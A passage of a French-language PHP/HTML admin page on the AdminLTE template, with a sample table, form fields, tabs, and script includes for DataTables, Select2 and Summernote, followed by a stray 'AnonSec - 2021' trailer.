																				<th>Date</th>
																				<th>Status</th>
																				<th>Reason</th>
																				<th></th>
																			</tr>
																		</thead>
																		<tbody>
																			<tr>
																				<td>183</td>
																				<td>John Doe</td>
																				<td>11-7-2014</td>
																				<td><span class="tag tag-success">Approved</span></td>
																				<td>Bacon ipsum dolor sit amet salami venison chicken flank fatback doner.</td>
																				<td class="text-right py-0 align-middle">
										                      <div class="btn-group btn-group-sm">
																						<a href="#" class="btn btn-primary" title="Voir"><i class="fas fa-eye"></i></a>
																						<a href="#" class="btn btn-info" title="Editer"><i class="fas fa-pencil-alt"></i></a>
																						<a href="#" class="btn btn-danger" title = "Supprimer"><i class="fas fa-trash"></i></a>
										                      </div>
										                    </td>
																			</tr>

																		</tbody>
																	</table>

																</div>
															</div>
														</div>
													</div>
												</div>

												<!----------------- Quatrième Card : Formulaire -->

																		<div class="row">
																			<div class="col-12">
																				<div class="card">
																					<div class="card-body">
																						<div>
																						<button type="button" class="btn btn btn-outline-primary"><i class="fas fa-plus"></i> Primary</button>
																						&nbsp <button type="button" class="btn btn btn-outline-secondary"><i class="fas fa-search"></i> Secondary</button>
																						&nbsp <button type="button" class="btn btn btn-outline-info"><i class="fas fa-plus"></i> Info</button>

																					 </div>
																					 <br/>
																						<div class="row">

																						<div class="form-group col-md-6">
																							<div class="input-group">
																							<select class="custom-select" id="exampleSelectRounded0">
																								<option>- Liste déroulante Standard - </option>
																								<option>- Value 2 - </option>
																								<option>- Value 3 - </option>
																						  </select>
																							</div>
																						</div>

																						<div class="form-group col-md-6">
																							<div class="form-group">

															                  <select class="form-control select2" style="width: 100%;">
															                    <option selected="selected"> - Liste déroulante avec Champs Texte Select2 - </option>
															                    <option>Alaska</option>
															                    <option>California</option>
															                    <option>Delaware</option>
															                    <option>Tennessee</option>
															                    <option>Texas</option>
															                    <option>Washington</option>
															                  </select>
															                </div>
																						</div>

																					</div>

																					<div class="row">

																						<div class="form-group col-md-6">
																				      <label for="">Champs texte</label>
																				      <input type="text" class="form-control" id=""  name="" placeholder="">
																				   </div>

																				 </div>

																				 <div class="row">

																					 <div class="form-group col-md-6">
																			       <label>Sélectionneur de Date</label>
																			 	         <div class="input-group">
																			               <div class="input-group-prepend">
																			                    <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
																			                </div>
																			                     <input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="salarie_absence_date_debut" <?php if(!empty($red['salarie_absence_date_debut']) ) echo "value=".int2date_autre_format($red['salarie_absence_date_debut']) ;?> placeholder="jj/mm/aaaa">
																			           </div>

																			     </div>

																				</div>

																				<div class="row">

																					<div class="form-group col-md-12"
																						<label>Textarea à Faire (idem page instructions du client)</label>
																							<textarea class="textarea" placeholder="" style="width: 100%; height: 200px; font-size: 18px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name=""  ></textarea>
																          </div>

																			 </div>





																					</div>
																				</div>
																			</div>
																		</div>



																		<!----------------- Troisième Card : 2 Listes déroulantes + Tableau -->

																								<div class="row">
																									<div class="col-12">
																										<div class="card">
																											<div class="card-body">
																												<div>
																												<button type="button" class="btn btn btn-outline-primary"><i class="fas fa-plus"></i> Primary</button>
																												&nbsp <button type="button" class="btn btn btn-outline-secondary"><i class="fas fa-search"></i> Secondary</button>
																												&nbsp <button type="button" class="btn btn btn-outline-info"><i class="fas fa-plus"></i> Info</button>

																											 </div>
																											 <br/>

																											 <ul class="nav nav-tabs">
			   <li class="nav-item">
			     <a class="nav-link active" href="#">Page 1</a>
			   </li>
			   <li class="nav-item">
			     <a class="nav-link" href="#">Page 2</a>
			   </li>
			   <li class="nav-item">
			     <a class="nav-link" href="#">Page 3</a>
			   </li>
			   <li class="nav-item">
			     <a class="nav-link">Page 4</a>
			   </li>
			 </ul>




																											</div>
																										</div>
																									</div>
																								</div>

				</section>




	</div>


<?php
 // include('footerr.php');

?>

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="../../plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="../../plugins/jszip/jszip.min.js"></script>
<script src="../../plugins/pdfmake/pdfmake.min.js"></script>
<script src="../../plugins/pdfmake/vfs_fonts.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true, "lengthChange": false, "autoWidth": false, "paging": false,
      "buttons": ["copy", "csv", "excel", "pdf", "print"]
    }).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
    $('#example2').DataTable({
      "paging": false,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<script>
  $(function () {
        $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
    // Summernote
    $('.textarea').summernote()
  })
</script>


</body>
</html>

AnonSec - 2021